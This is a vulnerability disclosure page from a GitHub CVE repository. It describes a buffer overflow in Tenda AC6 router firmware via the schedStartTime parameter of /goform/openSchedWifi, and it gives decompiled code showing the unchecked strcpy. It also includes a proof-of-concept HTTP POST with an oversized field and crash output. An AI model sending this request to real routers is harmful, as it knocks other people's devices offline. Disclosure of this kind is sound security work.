<> Code   ⊙ Issues   ⑪ Pull requests   ⊙ Actions   ⊞ Projects   ⊘ Security   ⩘ Insights

ᵖ main ▾   ...

CVE-vulns / tenda_ac6 / setSchedWifi_schedStartTime / setSchedWifi_schedStartTime.md

Haizhen Qi(祁海珍) add

⊙ History

⋔ 0 contributors

☰ 45 lines (30 sloc) │ 3.31 KB   ...

Tenda AC6V1.0 V15.03.05.19 was discovered to contain a buffer overflow via the schedStartTime parameter in the setSchedWifi function.

Description

`Tenda` Router **AC6V1.0 V15.03.05.19** was discovered to contain a buffer overflow in the `httpd` module when handling `/goform/openSchedWifi` request.

Firmware information

- Manufacturer's address: https://www.tenda.com.cn/

- Firmware download address : https://www.tenda.com.cn/download/detail-2681.html

Affected version

Vulnerability details

This vulnerability lies in the `/goform/openSchedWifi` page, The details are shown below:

```c
38    schedWifiEnable_value = (char *)get_value_from_web(a1, (int)"schedWifiEnable", (int)"1");
39    schedStartTime_value = (char *)get_value_from_web(a1, (int)"schedStartTime", (int)&unk_EAD28);
40    schedEndTime_value = (char *)get_value_from_web(a1, (int)"schedEndTime", (int)&unk_EAD28);
41    timeType_value = (char *)get_value_from_web(a1, (int)"timeType", (int)"0");
42    day_value = (char *)get_value_from_web(a1, (int)"day", (int)"1,1,1,1,1,1,1");
43    i = 0;
44    GetValue("wl.public.enable", dest);
45    if ( !LOBYTE(dest[0]) )
46      strcpy((char *)dest, "1");
47    if ( atoi(timeType_value) )
48      sscanf(day_value, "%d,%d,%d,%d,%d,%d,%d", &v9, &v10, &v11, &v12, &v13, &v14, &v15);
49    SetValue("sys.sched.wifi.timeType", timeType_value);
50    ptr = malloc(0x19u);
51    v23 = atoi(schedWifiEnable_value);
52    v25 = mib2utc(schedStartTime_value, schedEndTime_value, day_value, v7, v8, 128, 128);
53    if ( v25 && v23 )
54    {
55      free(ptr);
56      v25 = 1;
57    }
58    else
59    {
60      printf("%s\n%s\n", v7, v8);
61      if ( sub_8C7F4(v7, v8) && v23 )
62      {
63        free(ptr);
64        v25 = 2;
65      }
66      else
67      {
68        SetValue("nkgw.wlan.offtime.list1", v7);
69        SetValue("nkgw.wlan.ontime.list1", v8);
70        if ( ptr )
71        {
72          v1 = atoi((const char *)dest) != 0;
73          *(_BYTE *)ptr = v1;
74          v2 = atoi(schedWifiEnable_value) != 0;
75          *((_BYTE *)ptr + 1) = v2;
76          strcpy((char *)ptr + 2, schedStartTime_value);
77          strcpy((char *)ptr + 10, schedEndTime_value);
78          for ( i = 0; i <= 6; ++i )
79            *((_BYTE *)ptr + i + 18) = *(&v9 + i) != 0;
```

POC

This POC can result in a Dos.

```
POST /goform/openSchedWifi HTTP/1.1
Host: 192.168.204.133
Content-Length: 2082
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.204.133
Referer: http://192.168.204.133/parental_control.html?random=0.7058891673130268&
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: password=iqb1qw; bLanguage=cn
Connection: close

schedWifiEnable=0&schedStartTime=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

◄   ►

```
Connect to server failed.
Unsupported setsockopt level=1 optname=13
Segmentation fault (core dumped)
```